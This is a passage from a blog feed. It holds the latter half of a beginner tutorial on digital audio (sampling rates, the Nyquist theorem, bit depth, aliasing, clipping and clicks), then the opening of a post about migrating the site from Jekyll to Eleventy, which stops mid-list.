&lt;p&gt;With audio, we are concerned with two dimensions of quality: sampling (time) and quantisation (bit depth).&lt;/p&gt;
&lt;h3 id=&quot;sampling&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#sampling&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Sampling 🔪&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sampling&lt;/strong&gt; refers to how much we “chop” a signal. Suppose our signal is a carrot. For a stew, we may want longer samples (sparser chops). With rice, however, it&#39;s better to go with shorter samples (denser chops).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Want some free samples?&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 400&quot; alt=&quot;Diagram of a signal being sampled at different frequencies.&quot; title=&quot;Want some free samples?&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Blue line: original, continuous signal. Red dots: sampled, discrete signal. At higher sample rates, we chop densely, and more information is retained. At lower sample rates, we chop sparsely, but the sampled signal struggles to capture the peaks and troughs.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Digital audio signals are represented discretely by storing samples at regular intervals instead of using a single continuous line.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;sample rate&lt;/strong&gt; refers to how fast we chop, how fast we sample our audio. Choosing an appropriate sample rate for your application is an important consideration. A higher rate yields more information per second, at the expense of space.&lt;/p&gt;
&lt;p&gt;Audio is usually sampled at 44.1kHz or 48kHz (i.e. 44,100 or 48,000 samples per second). But why are these rates so common? To answer this, we first need to learn about the…&lt;/p&gt;
&lt;h3 id=&quot;nyquist-shannon-sampling-theorem&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#nyquist-shannon-sampling-theorem&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Nyquist-Shannon Sampling Theorem&lt;/h3&gt;
&lt;p&gt;The &lt;strong&gt;Nyquist-Shannon Sampling Theorem&lt;/strong&gt; (aka the Nyquist Theorem) is an important consideration when choosing a sample rate for your application. According to this theorem, in order to accurately reconstruct a continuous signal such as audio, it must be sampled at a rate that is &lt;em&gt;at least &lt;strong&gt;twice&lt;/strong&gt; the highest frequency component of the signal&lt;/em&gt;. This threshold is also called the &lt;strong&gt;Nyquist frequency&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For example, if we want to store a 1kHz audio signal, we would need to sample at 2kHz or more. Humans can hear frequencies in the range 20Hz – 20kHz, so if we want to capture all audible sounds, our sample rate needs to be at least 40kHz.&lt;/p&gt;
&lt;p&gt;This is important to avoid &lt;strong&gt;aliasing&lt;/strong&gt;, which occurs when high frequency components of a signal are mistakenly interpreted as lower frequency components. Aliasing results in distortion and can lead to inaccurate representation of the original signal.&lt;/p&gt;
&lt;p&gt;The diagram below demonstrates aliasing, which happens when our sample rate is too low.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Aliasing example.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-600w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-600w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 600 / 360&quot; alt=&quot;Aliasing example.&quot; title=&quot;Aliasing example.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/aliasing-600w.webp 600w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 600px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;(a) Sampling a 20kHz signal at 40kHz captures the original signal correctly. (b) Sampling the same 20kHz signal at 30kHz captures an aliased (low frequency ghost) signal. (Source: Embedded Media Processing.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The Nyquist Theorem explains why we usually sample above 40kHz, but why 44.1kHz specifically? Well, there are historical reasons (pioneering decisions) and mathematical reasons (factoring and downsampling).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Also, being lenient with our sampling frequency gives filters more flexibility.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;quantisation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#quantisation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Quantisation 🪜&lt;/h3&gt;
&lt;p&gt;While sampling deals with resolution in time, &lt;strong&gt;quantisation&lt;/strong&gt; deals with resolution in &lt;em&gt;dynamics&lt;/em&gt; (or &lt;em&gt;loudness&lt;/em&gt;). Here, we’re concerned with two things: &lt;em&gt;quality&lt;/em&gt; and &lt;em&gt;data storage&lt;/em&gt; (in files or RAM).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Like sampling, quantisation affects how well a signal is represented. If we quantise with 1 bit, then each sample has only two possible values (0 or 1). This means we can represent square waves (where high=1, low=0). But we can’t represent sine waves since the values in between that &lt;em&gt;make up a sine wave&lt;/em&gt; aren’t in our vocabulary.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Higher quantisation, better quality.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-640w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-640w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 640 / 480&quot; alt=&quot;Higher quantisation, better quality.&quot; title=&quot;Higher quantisation, better quality.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-quality-640w.webp 640w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 640px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Blue: original signal; Red: quantised signal. Higher quantisation leads to better audio quality. With 1 or 2 bits, we can barely tell the signal is reproduced. With more bits, the signal is more faithfully reproduced.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Higher quantisation also gives us greater dynamic resolution. With 1 bit, we&#39;re limited to absolute silence (0) or an ear-shattering loudness (1). With 8 bits, we have $2^8 = 256$ different &amp;quot;volume settings&amp;quot; to choose from—much more quality than simple 1s and 0s!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Regarding data storage, the less number of bits needed per sample, the more memory saved. When storing samples in files, most applications quantise to 16-bit integers, which allow for a decent resolution of -32,768 to +32,767 at two bytes per sample (1 byte being 8 bits). 32-bit floats are another common representation, bringing substantially greater detail at the expense of twice the space.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Lower quantisation, more compact storage.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-640w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-640w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 640 / 480&quot; alt=&quot;Lower quantisation, more compact storage.&quot; title=&quot;Lower quantisation, more compact storage.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/quantisation-storage-640w.webp 640w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 640px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Each block is an audio sample. Lower quantisation leads to more compact storage.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Now when storing audio in RAM for &lt;em&gt;audio&lt;/em&gt; &lt;em&gt;processing&lt;/em&gt;, it&#39;s easier to work with floats in the range of -1.0 to 1.0. Why the smaller range? Well, if we work directly with the maxima, we may easily encounter errors.
With integers, we would experience &lt;a href=&quot;https://en.wikipedia.org/wiki/Integer_overflow&quot;&gt;integer overflow&lt;/a&gt;, which wraps positive values to negative values—a horrid nightmare!
With floats, we would venture into the territory of infinity, which disrupts subsequent computations.&lt;/p&gt;
&lt;p&gt;Thus, we use a smaller range to allow room for processing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;audio-mishaps-and-bugs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#audio-mishaps-and-bugs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Audio Mishaps and Bugs 🐞&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;If you know the enemy and know yourself, you need not fear the result of a hundred battles.&lt;/em&gt; – Sun Tzu, The Art of War&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sometimes when experimenting with audio, something goes amiss. The most common issues are aliasing, clipping, and clicks. These pesky lil&#39; issues may crop up when processing audio... all the more important to understand how to mitigate them.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Pro Tip&lt;/strong&gt;: Oscilloscopes are your friend! If you encounter weird sounds, you can feed your processed signal into an oscilloscope (analogue or digital) to check for issues.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;aliasing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#aliasing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Aliasing&lt;/h3&gt;
&lt;p&gt;We mentioned aliasing &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#nyquist-shannon-sampling-theorem&quot;&gt;earlier&lt;/a&gt;. Aliasing occurs when a signal is sampled insufficiently, causing it to appear at a lower frequency.&lt;/p&gt;
&lt;p&gt;Generally, increasing the sample rate helps (or lowering the maximum frequency). In any case, it&#39;s wise to be vigilant with your sample rate and frequency range.&lt;/p&gt;
&lt;h3 id=&quot;clipping&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#clipping&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Clipping ✂️&lt;/h3&gt;
&lt;p&gt;Clipping occurs when our samples go out-of-bounds, past the maximum/minimum quantisation value. Clipping may cause our signal to wraparound or flatten at the peaks and troughs.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Wraparound clippy.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 238&quot; alt=&quot;Clipping, where any excess data clipped will overflow. For example, top clipped appears in the bottom.&quot; title=&quot;Wraparound clippy.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-2-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of wraparound clipping, typically due to integer overflow/underflow.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Clamped clippy.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-1-400w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-1-400w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 400 / 300&quot; alt=&quot;Clipping, where any excess is ignored and flattened.&quot; title=&quot;Clamped clippy.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-1-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/clipping-1-400w.webp 400w&quot; sizes=&quot;(max-width: 256px) 256px, 400px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of a signal flattened at the peaks and troughs due to clamping.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Clipping arises from neglecting dynamic range. It can be addressed by scaling down the signal (multiplying samples by a factor below 1) or by using &lt;a href=&quot;https://en.wikipedia.org/wiki/Dynamic_range_compression&quot;&gt;dynamic range compression&lt;/a&gt; (loud noises are dampened, soft noises are left unchanged).&lt;/p&gt;
&lt;h3 id=&quot;clicks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#clicks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Clicks&lt;/h3&gt;
&lt;p&gt;Clicks (aka pops) occur when a signal behaves discontinuously with large differences between samples. This difference forces the speaker hardware to vibrate quickly… too quickly.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Jumpy jumpy signal is bad bad.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 323&quot; alt=&quot;A signal with clicks, where samples jump click from top to bottom, seemingly discontinuous.&quot; title=&quot;Jumpy jumpy signal is bad bad.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/click-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Signal jumps from -1.0 to 1.0, causing my speaker to pop and my ear drums to bleed from utter despair.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Clicks may arise from trimming or combining audio recordings without applying fades. In audio synthesis, mismanagement of buffers and samples may also be a factor.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;recap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#recap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Recap 🔁&lt;/h2&gt;
&lt;p&gt;Audio processing is ubiquitous in daily life. In this post, we explored how digital audio works under the hood. Hopefully we communicated on the same wavelength and no aliasing occurred on your end. 😏&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2&quot;&gt;next post&lt;/a&gt;, we&#39;ll look at audio synthesis: the making of audio from nothing.&lt;/p&gt;
&lt;p&gt;To recap…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fundamental to audio processing is the &lt;em&gt;quality&lt;/em&gt; of audio data. This comes in two forms: sampling and quantisation.
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#sampling&quot;&gt;Sampling&lt;/a&gt; refers to the discretisation and resolution of a signal in &lt;em&gt;time&lt;/em&gt;.
&lt;ul&gt;
&lt;li&gt;Higher sample rate = more information per second = higher quality.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#quantisation&quot;&gt;Quantisation&lt;/a&gt; refers to the bit depth, the resolution in loudness.
&lt;ul&gt;
&lt;li&gt;Higher bit depth = higher quality.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Higher quality comes with the cost of higher memory consumption.&lt;/li&gt;
&lt;li&gt;To accurately reconstruct a signal, the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#nyquist-shannon-sampling-theorem&quot;&gt;Nyquist Theorem&lt;/a&gt; states the sample rate should surpass the &lt;em&gt;Nyquist frequency&lt;/em&gt; (&lt;em&gt;twice the maximum frequency of the signal&lt;/em&gt;).
&lt;ul&gt;
&lt;li&gt;Sample rates below the signal&#39;s Nyquist frequency are prone to aliasing.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Some common issues to audio processing are aliasing, clipping, and clicks.
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#aliasing&quot;&gt;Aliasing&lt;/a&gt; occurs when a signal is misinterpreted to be of lower frequency.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#clipping&quot;&gt;Clipping&lt;/a&gt; occurs when samples exceed the dynamic range and are cut.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#clicks&quot;&gt;Clicks&lt;/a&gt; occur when samples contain a large difference, causing the speaker to vibrate too quickly.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Katz, D; Gentile, R. 2005. &lt;em&gt;Embedded Media Processing&lt;/em&gt;. They’ve provided &lt;a href=&quot;https://www.analog.com/media/en/dsp-documentation/embedded-media-processing/embedded-media-processing-chapter5.pdf&quot;&gt;Chapter 5: Embedded Audio Processing&lt;/a&gt; as a preview. It&#39;s a nice read. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;44,100 can be factored into $2^2 &#92;times 3^2 &#92;times 5^2 &#92;times 7^2$, which is useful for downsampling to various applications. It&#39;s very easy to downsample by a factor of the original sample. For instance, if we want to downsample by a factor of 2, we simply skip every other sample (or interpolate between). &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;See also: &lt;a href=&quot;https://dsp.stackexchange.com/q/17685/65058&quot;&gt;Why do we choose 44.1 kHz as recording sampling rate?&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;How much more detail do floats have over integers? 32-bit floats range from about -10&lt;sup&gt;38&lt;/sup&gt; to +10&lt;sup&gt;38&lt;/sup&gt; whereas 32-bit integers range from about -10&lt;sup&gt;9&lt;/sup&gt; to +10&lt;sup&gt;9&lt;/sup&gt;. Sadly, the increased range of floats comes with a downside: reduced precision. But that&#39;s alright. Floats are precise up to 7 significant figures, which is fine in a lot of cases! For more info on floating points, see the &lt;a href=&quot;https://en.wikipedia.org/wiki/Single-precision_floating-point_format&quot;&gt;Wikipedia page on 32-bit floats&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;When storing audio in files or transmitting audio, we usually encode and compress the audio to save space. Out of scope for this post though. :( &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Fox, Arthur. &lt;a href=&quot;https://mynewmicrophone.com/what-causes-speakers-to-pop-and-crackle-and-how-to-fix-it/&quot;&gt;&lt;em&gt;What Causes Speakers To Pop And Crackle, And How To Fix It&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>dsp</category>
        
          <category>audio-synthesis-for-dummies</category>
        
          <category>synths</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Site Migration to Eleventy</title>
        <description>JavaScript go brrrrrrrrr.</description>
        <link href="https://trebledj.me/posts/site-migration-to-eleventy/"/>
        <updated>2023-02-04T00:00:00Z</updated>
        <id>https://trebledj.me/posts/site-migration-to-eleventy/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This post contains a brief explanation of this site’s migration and improvement over the last week.&lt;/p&gt;
&lt;p&gt;Jekyll and Eleventy (aka 11ty) are static site generators (SSGs)—programs that take us from templated code + blog posts written in Markdown to full-fledged static websites. 11ty is one of the newer, growing SSGs out there. Of course, we can&#39;t have a migration post without the appropriate meme, so let&#39;s start with that:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Weow eleventy looks pretty!&quot; href=&quot;https://trebledj.me/img/posts/misc/meta/assets/ogle-ogle-eleventy-750w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/misc/meta/assets/ogle-ogle-eleventy-750w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 750 / 500&quot; alt=&quot;Weow eleventy looks pretty!&quot; title=&quot;Weow eleventy looks pretty!&quot; srcset=&quot;https://trebledj.me/img/posts/misc/meta/assets/ogle-ogle-eleventy-256w.webp 256w, https://trebledj.me/img/posts/misc/meta/assets/ogle-ogle-eleventy-512w.webp 512w, https://trebledj.me/img/posts/misc/meta/assets/ogle-ogle-eleventy-750w.webp 750w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 750px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;rambling-about-eleventy&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/site-migration-to-eleventy/#rambling-about-eleventy&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Rambling About Eleventy&lt;/h2&gt;
&lt;h3 id=&quot;the-good&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/site-migration-to-eleventy/#the-good&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Good&lt;/h3&gt;
&lt;p&gt;Some key things I really like about 11ty so far... (keep in mind I’m coming from Jekyll)...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Loads of plugins
&lt;ul&gt;
&lt;li&gt;The JavaScript (JS) and npm ecosystem is pretty diverse. I’m guessing it’s because most plugins were built for Next.js (another popular, mature SSG) and were modular enough to work with 11ty. For context, Jekyll is a Ruby library, and its plugins are lacking (in number and maintenance).&lt;/li&gt;
&lt;li&gt;Some plugins don’t work straight out of the box. They may need some careful tuning… or there may be an 11ty plugin alternative. 11ty plugins are more geared towards 11ty compared to regular plugins.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Flexibility
&lt;ul&gt;
&lt;li&gt;Very easy and flexible to manage &lt;a href=&quot;https://www.11ty.dev/docs/data-cascade/&quot;&gt;data&lt;/a&gt;, including front matter data and site metadata.&lt;/li&gt;
&lt;li&gt;Pagination is built into front matter and works like a charm.&lt;/li&gt;
&lt;li&gt;You can add your own Liquid/Nunjucks filters from JS. This way logic is expressed more clearly and concisely. I rewrote my code for finding related posts this way. Some things are better left to JS.&lt;/li&gt;
&lt;li&gt;You can use a web framework such as React or Vue if you want. But it’s not needed. “&lt;em&gt;Frameworks come and go&lt;/em&gt;”, as they say.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot;&gt;Nunjucks&lt;/a&gt; &amp;gt; Liquid
&lt;ul&gt;
&lt;li&gt;Ah yesss, ternary expressions! Inline math! Comments look nicer as well.&lt;/li&gt;
&lt;li&gt;Thought that was all? Get &lt;strong&gt;MINDBLOWN&lt;/strong&gt; by &lt;em&gt;importable&lt;/em&gt; macros and template inheritance.&lt;/li&gt;
